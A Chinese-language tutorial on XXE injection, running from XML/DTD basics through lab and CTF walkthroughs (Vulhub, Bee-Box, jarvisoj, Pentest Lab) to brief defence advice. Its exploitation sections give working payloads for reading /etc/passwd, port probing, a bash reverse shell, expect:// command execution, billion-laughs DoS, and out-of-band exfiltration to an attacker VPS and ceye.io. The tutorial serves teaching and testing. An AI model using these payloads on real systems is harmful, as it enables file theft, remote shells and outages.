0x00 前言
XXE是一种很常见的漏洞类型危害也挺大的,如果一个web服务器通过用户上传处理XML文件或POST请求时,那么可能就会存在漏洞。
前段时间比较出名的微信支付的xxe漏洞
0x02 漏洞简介
XXE 就是XML外部实体注入。当服务器允许引用外部实体时,通过构造恶意内容来攻击网站
2.1 产生原因
解析xml文件时允许加载外部实体,并且实体的URL支持file://和PHP://等协议,没有过滤用户提交的参数。
2.2 危害
- 读取任意文件
- 执行系统命令
- 探测内网端口
- 攻击内网网站
- DOS攻击
- ….
0x03 XML+DTD基础知识
XML:
- XML 指可扩展标记语言(EXtensible Markup Language)。
- XML 是一种很像HTML的标记语言。
- XML 的设计宗旨是传输数据,而不是显示数据。
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准。
XML 和 HTML 之间的差异:
XML 不是 HTML 的替代。
XML 和 HTML 为不同的目的而设计:
- XML 被设计用来传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。两个语言均来自SGML语言
XML文档结构包括XML声明、DTD文档类型定义、文档元素。
其中,文档类型定义:
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。 可以在 XML 文档内声明,也可以外部引用
参考链接 : W3school DTD 教程
DTD引用方式:
1.内部声明: <!DOCTYOE 根元素 [元素声明]>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?xml version='1.0' encoding="utf-8" ?>
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
<note> <to>James</to> <from>Tim</from> <heading>Message</heading> <body>winner winner !</body> </note>
|
2.外部引用: <!DOCTYPE 根元素 SYSTEM "外部DTD文件URI">
1 2 3 4 5 6 7 8
| <?xml version='1.0' encoding="utf-8" ?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>James</to> <from>Tim</from> <heading>Message</heading> <body>winner winner !</body> </note>
|
其中note.dtd
内容为:
1 2 3 4 5
| <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
|
3.引用公共的DTD (网络上的DTD文件):
<!DOCUTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
1 2 3 4 5 6 7 8 9
| <?xml version=”1.0″?>
<!DOCTYPE configuration PUBLIC “-//mybatis.org//DTD Config 3.0//EN” “http://mybatis.org/dtd/mybatis-3-config.dtd”>
命名方法:以!DOCTYPE开始,configuration是文档根元素名称; PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织; DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号; EN表示DTD语言是英语;最后是DTD的URL;
|
其中,外部引用可支持http、file等协议,不同语言支持的协议不同,但存在一些通用的协议。
默认协议:
PHP扩展协议:
0x04 漏洞利用
php环境下,一般xxe利用有两种情况:有回显和无回显。
有回显漏洞代码:
1 2 3 4
| <?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml); ?>
|
利用方式:可以构造xml进行提交,然后在页面中直接看到payload执行结果
1. 任意文件读取
可以利用各种协议可以读取文件:
比如file协议:
1 2 3
| <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE root [<!ENTITY file SYSTEM "file:///f:/1.txt">]> <root>&file;</root>
|
将其URL编码后,提交
假如是php或者HTML等文件带有<>的,如果直接读取会出现解析错误,于是乎,需要利用base64编码,并结合php伪协议
1 2 3
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=xml.php">]> <root>&file;</root>
|
同样进行URL编码后提交
2. 内网探测
探测端口:
假如访问并不开放的的端口
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:1234" >]> <root> <name>&xxe;</name> </root>
|
假如访问存在的端口如80端口
攻击内网网站
若内网网站存在命令执行漏洞时,将以下bash.txt保存至自己的WEB服务器下:
1
| bash -i >& /dev/tcp/192.168.1.161/8877 0>&1
|
然后发送以下payload获取bash.txt文件:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE XXE [ <!ELEMENT name ANY > <!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=curl%20-o%20/tmp/1.txt%20192.168.55.129/bash.txt" >]> <root> <name>&XXE;</name> </root>
|
然后打开监听端口,发送一下payload,获得反弹shellcode命令
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE XXE [ <!ELEMENT name ANY > <!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=/bin/bash%20/tmp/1.txt" >]> <root> <name>&XXE;</name> </root>
|
3.命令执行
配置不当/开发内部应用,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://ls" >]> <root> <name>&xxe;</name> </root>
|
4. DOS攻击
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
|
原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9,不断地占用系统资源。造成拒绝服务。
无回显漏洞代码:
1 2 3
| <?php $xml=@simplexml_load_string($_GET['xml']); ?>
|
利用Blind XXE 漏洞来构造一条外带数据(Out-Of-Band)通道来读取数据。
方法:
- 客户向服务器发送payload1
- 服务器解析执行payload1,然后向攻击者服务器获取恶意的DTD文件,并执行读取解析payload2
- 服务器带着回显结果访问vps特定的服务(HTTP or FTP)
- 通过VPS日志或者其他banner信息获得回显
payload1:
1 2
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>
|
payload2:
1 2 3 4
| <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>"> %int; %trick;
|
这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问ftp协议所携带的内容
0x05 漏洞环境
1.Vulhub 环境及利用
此处借用P师傅的vulhub环境,libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡 .
git下来以后直接一键docker-compose up -d
,然后打开8080端口即可。
该环境存在三个php文件,分别是用不同的函数处理xml
SimpleXMLElement.php
1 2 3 4 5
| <?php $data = file_get_contents('php://input'); $xml = new SimpleXMLElement($data);
echo $xml->name;
|
dom.php
1 2 3 4 5 6 7
| <?php $data = file_get_contents('php://input');
$dom = new DOMDocument(); $dom->loadXML($data);
print_r($dom);
|
simplexml_load_string.php
1 2 3 4 5
| <?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data);
echo $xml->name;
|
POC
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE poc [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <name>&xxe;</name> </root>
|
这里用了file协议然后读取passwd文件,将其打印出来。
此时若将echo $xml->name;
注释掉,就成无回显的XXE了。
这时可以借助引入外部实体,将获取到的文件内容发送到远程服务器上,查看日志能够获取文件内容。
1、在远程VPS服务器上写入 attack.dtd
(我这里用win7)
1
| <!ENTITY % evil "<!ENTITY send SYSTEM 'http://192.168.1.109/?%file;'>">
|
2、然后利用POC
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % xxe SYSTEM "http://192.168.1.109/attack.xml"> %xxe; %evil; ]> <root>&send;</root>
|
这里得注意实体xxe、evil、send的顺序,首先是利用xxe
引用外部文件attack.xml
引入到解释上下文中,然后执行%evil
,这时会检测到send实体,在root节点中引用send
,就实现了数据转发,查看access.log
即可得到编码后的passwd文件。
2.Bee-Box环境
一个集成了多个漏洞的Web应用程序 官方下载
2.1 低级别
原始POST数据:
这里传输的是test/xml数据,所以修改数据,插入恶意代码
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <reset><login>&file;</login><secret>Any bugs?</secret></reset>
|
查看关键源码:
1 2 3 4 5
| $xml = simplexml_load_string($body); $login = $xml->login; $secret = $xml->secret;
|
没有经过任何过滤就将xml解析出来,故产生漏洞。
探测端口
这里可以通过burp爆破模块和自写py脚本进行利用端口扫描。
Dos攻击
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <reset><login>&lol9;</login><secret>Any bugs?</secret></reset>
|
2.2 中高级别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| $xml = simplexml_load_string($body);
$login = $_SESSION["login"]; $secret = $xml->secret;
if($secret) {
$secret = mysqli_real_escape_string($link, $secret);
$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";
$recordset = $link->query($sql);
if(!$recordset) {
die("Connect Error: " . $link->error);
}
$message = $login . "'s secret has been reset!";
}
else {
$message = "An error occured!";
}
|
这里可以看出来$login
这个参数是来自于Session中,不可控点。并且利用了mysqli_real_escape_string
函数对$secret
进行特殊字符的转义过滤。
3.jarvisoj 题目
传送门
设法获得目标机器/home/ctf/flag.txt中的flag值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <script> function XHR() { var xhr; try {xhr = new XMLHttpRequest();} catch(e) { var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0,len=IEXHRVers.length;i< len;i++) { try {xhr = new ActiveXObject(IEXHRVers[i]);} catch(e) {continue;} } } return xhr; }
function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR(); xhr.open("post","/api/v1.0/try",true); xhr.onreadystatechange = function () { if (xhr.readyState==4 && xhr.status==201) { data = JSON.parse(xhr.responseText); tip_area = document.getElementById("tip-area"); tip_area.value = data.task.search+data.task.value; } }; xhr.setRequestHeader("Content-Type","application/json"); xhr.send('{"search":"'+evil_input+'","value":"own"}'); } </script>
|
前端源码,利用ajax发送json格式的数据包。burp抓包如下:
这里可以通过修改Content-Type
然后提交恶意的poc进行XXE攻击get flag
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY file SYSTEM "file:///home/ctf/flag.txt" > ]> <search>&file;</search>
|
4.Pentest Lab
传送门
将iso文件下载下来然后用virtualbox安装即可。打开主页
进入登录页面,要求输入账号密码进行登录,依旧burp抓包。
这里我们将Content-Type
改成text/xml,然后再提交xml数据,观察响应
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /login HTTP/1.1 Host: 192.168.1.138 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.1.138/login Content-Type: text/xml Content-Length: 92 Connection: close Upgrade-Insecure-Requests: 1
<?xml version="1.0" encoding="UTF-8"?> <username>admin</username><password>admin</password>
|
很明显这里服务器解析了传入的xml数据,而且这里还是Blind XXE
依旧在宿主机上新建一个xxe.dtd
文件,然后构造xml数据。
1
| <!ENTITY % evil "<!ENTITY send SYSTEM 'http://xxx.ceye.io/?%file;'>">
|
然后提交POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST /login HTTP/1.1 Host: 192.168.1.138 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://192.168.1.138/login Content-Type: text/xml Content-Length: 181 Connection: close Cookie: PLAY_FLASH="error=Error%3A+Invalid+username+or+password" Upgrade-Insecure-Requests: 1
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY %file SYSTEM "file:///etc/passwd"> <!ENTITY %xxe SYSTEM "http://192.168.1.166/xxe.dtd"> %xxe; %evil; ]> <root>&send;</root>
|
去ceye.io上收菜
0x06 漏洞检测
利用burp检测那些接受xml作为输入内容的节点,通过修改不同的字段,如 http 请求方法
、Content-Type 头部字段
等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞。
0x07 漏洞防御
- 将PHP中libxml版本升级至2.9.0以后,默认不解析外部实体
- 使用开发语言提供的禁用外部实体的方法
- 过滤用户提交的xml数据,再进行解析
0x08 Reference
1.未知攻焉知防——XXE漏洞攻防
2.XXE漏洞以及Blind XXE总结
3.DTD 实体 XXE 浅析
4.XXE漏洞利用技巧:从XML到远程代码执行
5.XML介绍